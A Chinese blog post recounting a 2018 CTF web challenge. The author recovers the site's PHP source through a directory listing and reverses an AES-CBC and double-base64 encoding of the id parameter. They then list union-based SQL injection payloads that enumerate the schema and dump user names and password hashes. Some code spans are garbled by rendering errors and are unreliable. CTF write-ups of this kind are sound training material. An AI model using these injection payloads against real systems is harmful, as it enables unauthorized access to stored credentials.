2018湖湘杯对于WEB题 CODE_CHECK的部分看法

版权声明:转载声明来源,请勿用于商业用途! https://blog.csdn.net/qq_27180763/article/details/84279083

签到题直接关注公众号回复hxb2018即可拿到flag值。。我不想说出我只做出了签到提的事实。。一共分析了两道题, ,一道题是web的code check,还有一个是流量分析,看了赛后的wp,感觉流量分析是我姿势有问题,不知道为什么就是找不到flag。。而大佬们通过ctrl+F就能定位流量包。。802.11Q流量包也时常做的题了m( _ _ )m

湖湘杯美名其曰:“神仙杯”

刚开始先刷简单的题,于是选了WEB题。
首先是一个login页面。现在比赛结束打不开==,但是我们第一步肯定是观察页面源代码的,总能发现一些有用的东西。可以在CSS中看到一段:background:url(img/MySQL.jpg)


很理所当然的就是考察sql注入嘛,,于是我对注入框用了SQLMAP以及手工注入的方式,,就是进不去==,然后发现下面有一个一直弹的提示,,发现参数id,觉得这里可能存在注入点。
在这里插入图片描述
仔细一想,万一该目录下存在flag文件呢?怀疑有目录遍历的可能性,于是访问了http://47.107.236.42:49882/news/
发现了两个文件,于是我直接下载了list.zip文件。
发现了一大段代码。
在这里插入图片描述

分析PHP代码,发现是加密函数。主要就是,封装了一个decode方法并且给了一个形参,在方法体内对形参进行处理,然后回到代码执行流程中,调用方法后给ID变量赋值。
代码的核心点:
if(substr(trim(KaTeX parse error: Expected '}', got 'EOF' at end of input: …rn substr(trim(data),0,strlen(trim($data))-7);
}

针对该解密算法写加密算法:
t d = m c r y p t m o d u l e o p e n ( M C R Y P T R I J N D A E L 1 28 , , M C R Y P T M O D E C B C , ) ; m c r y p t g e n e r i c i n i t ( td=mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); mcrypt_generic_init( td,’ydhaqPQnexoaDuW3′,'2018201920202021′);
d a t a = m c r y p t g e n e r i c ( data = mcrypt_generic( td,base64_encode(base64_encode( d a t a ) ) ) ; m c r y p t g e n e r i c d e i n i t ( data))); mcrypt_generic_deinit( td);
mcrypt_module_close($td);

整到题的目的就出来了:判断网页id后面的查询字符串值,先两次base64解密,再AES解密,删除_hxb2018字符,得到需要的id。
还判断了hxb2018这串字符是否存在。

准确的解释下,这串代码是对用户传入参数进行了decode操作。
使用了AES的CBC解密方式,采用128位密钥,密码为:“ydhaqPQnexoaDuW3”,偏移量为:“2018201920202021”,然后进行两次base64位解码。

同理拿到加密算法,先采用AES加密,然后进行base64位编码。

当然他会判断你字符串后面存不存在hxb2018这七个字符串。

在这里插入图片描述
在这里插入图片描述
直接网上百度加密解密的网站==,按照想法进行操作,注入成功!
在这里插入图片描述

通过AES加密后在进行BASE64加密payload,测试得到页面存在注入点。

爆破库名
加密前命令:1 and 1=2 union select 1,database(),3,4hxb2018

在这里插入图片描述

爆破表名:
命令:1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_discuz_stormgroup’ limit 2,3hxb2018

在这里插入图片描述

成功拿到表名:stormgroup_member

同理:1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_discuz_stormgroup’ and TABLE_NAME=‘stormgroup_member’ limit 1,1hxb2018

在这里插入图片描述

1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_discuz_stormgroup’ and TABLE_NAME=‘stormgroup_member’ limit 2,2hxb2018

在这里插入图片描述

1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_discuz_stormgroup’ and TABLE_NAME=‘stormgroup_member’ limit 3,3hxb2018

在这里插入图片描述

一共可以拿到3个字段。分别为name,password,status

使用命令:1 and 1=2 UNION SELECT 1,2,group_concat(name,password),4 from stormgroup_member hxb2018
加密后在进行base64直接拿到所有的用户名和密码

在这里插入图片描述

最后对mozhe1用户的密码进行md5解密拿到密码:
在这里插入图片描述

你以为这样就行了吗???

天真!

神仙杯让你登陆不进去,然后把flag藏在了notice2表里!

人在家中坐,flag从天上来系列==

果真是钱不到位直接不让登陆

下面给出所有sql注入语句,加密算法就不给了==自行百度。
爆破库名:
1 and 1=2 union select 1,database(),3,4hxb2018

爆破表名:
1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_discuz_stormgroup' limit 2,3hxb2018


1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_discuz_stormgroup' and TABLE_NAME='stormgroup_member' limit 1,1hxb2018

1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_discuz_stormgroup' and TABLE_NAME='stormgroup_member' limit 2,2hxb2018

1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_discuz_stormgroup' and TABLE_NAME='stormgroup_member' limit 3,3hxb2018

爆所有信息:
1 and 1=2 UNION SELECT 1,2,group_concat(name,password),4 from stormgroup_member hxb2018

猜你喜欢

转载自blog.csdn.net/qq_27180763/article/details/84279083